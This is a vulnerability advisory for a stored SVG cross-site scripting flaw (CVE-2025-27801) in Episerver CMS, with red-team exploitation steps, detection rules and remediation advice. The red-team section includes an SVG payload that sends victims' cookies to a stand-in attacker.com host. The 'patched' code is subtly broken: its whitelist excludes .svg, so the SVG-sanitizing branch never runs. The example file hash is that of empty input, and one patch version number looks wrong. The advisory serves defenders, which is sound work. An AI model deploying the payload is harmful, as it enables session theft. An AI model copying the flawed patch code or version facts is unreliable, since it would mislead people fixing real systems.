CVE-2025-27801

Executive Summary

CVE-2025-27801 describes a Stored Cross-Site Scripting (XSS) vulnerability in the Optimizely Episerver Content Management System (CMS). An authenticated attacker with at least the "WebEditor" role can upload a malicious SVG file via the ContentReference properties in the CMS "Edit" section. When a victim visits the direct URL of the preview image, the embedded JavaScript executes in their browser. This allows the attacker to steal session cookies, deface pages, or perform actions on behalf of the victim.

The vulnerability affects two major version lines (11.X and 12.X) of the EPiServer.CMS.Core and EPiServer.CMS.UI packages. Patches are available from Optimizely.

Supply Chain & Package Security

This vulnerability resides in the NuGet packages EPiServer.CMS.Core and EPiServer.CMS.UI. Organizations using these packages must update to the patched versions to mitigate the risk. The attack vector is through authenticated file upload, not through a compromised dependency.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (WebEditor role)
• User Interaction: Required (victim visits preview URL)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but is straightforward once access is obtained. The impact is limited to the victim's browser session.

Deep Dive & Mechanics

The vulnerability exists in the ContentReference property handler within the Episerver CMS. This property allows editors to upload documents (including SVG files) for display on pages. The CMS fails to sanitize or validate the content of uploaded SVG files.

When an SVG file containing embedded JavaScript (e.g., <script>alert('XSS')</script>) is uploaded, the CMS stores it and generates a preview image URL. If a user visits this URL directly, the browser renders the SVG and executes the embedded script. The script runs in the context of the CMS domain, allowing access to cookies, local storage, and the ability to perform actions as the authenticated user.

The attack flow:

1. Attacker logs in as a WebEditor.
2. Attacker navigates to a page's Edit section and uses a ContentReference property to upload a malicious SVG.
3. The SVG is stored on the server.
4. Attacker sends the direct preview URL to a victim (e.g., via email or social engineering).
5. Victim visits the URL; the SVG renders and the JavaScript executes.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In ContentReference property handler
public ActionResult UploadFile(HttpPostedFileBase file)
{
    // No validation of file content type or content
    var path = SaveFileToDisk(file);
    return Json(new { url = GetPreviewUrl(path) });
}

Patched Code (Conceptual):

public ActionResult UploadFile(HttpPostedFileBase file)
{
    // Validate file extension and MIME type
    var allowedExtensions = new[] { ".pdf", ".docx", ".png", ".jpg" };
    var ext = Path.GetExtension(file.FileName).ToLower();
    if (!allowedExtensions.Contains(ext))
        return Json(new { error = "File type not allowed" });

    // Validate content (e.g., for SVG, strip scripts)
    if (ext == ".svg")
    {
        var sanitized = SanitizeSvg(file.InputStream);
        var path = SaveSanitizedFile(sanitized);
        return Json(new { url = GetPreviewUrl(path) });
    }

    var normalPath = SaveFileToDisk(file);
    return Json(new { url = GetPreviewUrl(normalPath) });
}

The patch adds file extension whitelisting and SVG content sanitization (e.g., using a library like HtmlSanitizer to remove <script> tags and event handlers).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an Optimizely Episerver CMS instance (vulnerable version).
• Valid credentials with at least the "WebEditor" role.

Steps:

1. Create a malicious SVG file:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS: ' + document.cookie);
  </script>
  <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>

2. Log in to the CMS as a WebEditor.
3. Navigate to a page's Edit section.
4. Add a ContentReference property and upload the SVG file.
5. Note the preview URL returned by the CMS (e.g., https://cms.example.com/globalassets/somefolder/malicious.svg).
6. Send this URL to a victim (e.g., via email or chat).
7. When the victim visits the URL, the JavaScript executes.

Advanced Payload (Session Theft):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    var img = new Image();
    img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
  </script>
</svg>

Blue Team

Detection:

• Monitor file upload logs for SVG files.
• Alert on any upload of files with .svg extension to ContentReference properties.
• Inspect uploaded SVG files for <script> tags or event handlers (e.g., onload, onerror).

Prevention:

• Apply the vendor patch immediately.
• Implement a Web Application Firewall (WAF) rule to block SVG uploads or strip script content.
• Restrict file upload types to only necessary formats (e.g., PDF, DOCX, images).
• Use Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes depend on payload)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious.svg)
• Network Traffic:
  • Outbound HTTP requests to attacker-controlled domains from the CMS server (if payload exfiltrates data).
  • Unusual GET requests to /globalassets/*.svg paths.
• Log Entries:
  • File upload logs showing .svg files uploaded by non-admin users.
  • Error logs from SVG rendering (if script execution causes errors).
• File System:
  • Presence of SVG files in ~/globalassets/ or similar directories that contain <script> tags.

Detection Engineering

YARA Rule

rule CVE_2025_27801_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-27801"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-27801"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $event_handler = /on\w+\s*=/ nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $event_handler)
}

Sigma Rule

title: CVE-2025-27801 - SVG Upload to Episerver CMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files to Episerver CMS ContentReference properties
author: Valters IT
date: 2025-04-01
logsource:
    product: windows
    service: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '*/episerver/*upload*'
        cs-uri-query: '*ContentReference*'
        cs-extension: '.svg'
    condition: selection
falsepositives:
    - Legitimate SVG uploads (if allowed by policy)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27801 - SVG Upload to Episerver CMS"; flow:to_server,established; content:"POST"; http_method; content:"/episerver/"; http_uri; content:"ContentReference"; http_uri; content:".svg"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade EPiServer.CMS.Core to version 11.21.4 (v11) or 12.22.1 (v12). Upgrade EPiServer.CMS.UI to version 11.37.5 (v11) or 11.37.3 (v12).
2. WAF Rule: Block uploads of .svg files to ContentReference properties.
3. File Extension Whitelist: Restrict uploadable file types to only those necessary (e.g., PDF, DOCX, PNG, JPG).

Long-Term Mitigations:

• Implement Content Security Policy (CSP) headers to block inline scripts and restrict script sources.
• Use a server-side SVG sanitizer (e.g., DOMPurify for Node.js, or HtmlSanitizer for .NET) on all uploaded SVG files.
• Conduct regular security audits of file upload functionality.
• Enforce least privilege: limit the number of users with the "WebEditor" role.

Valters IT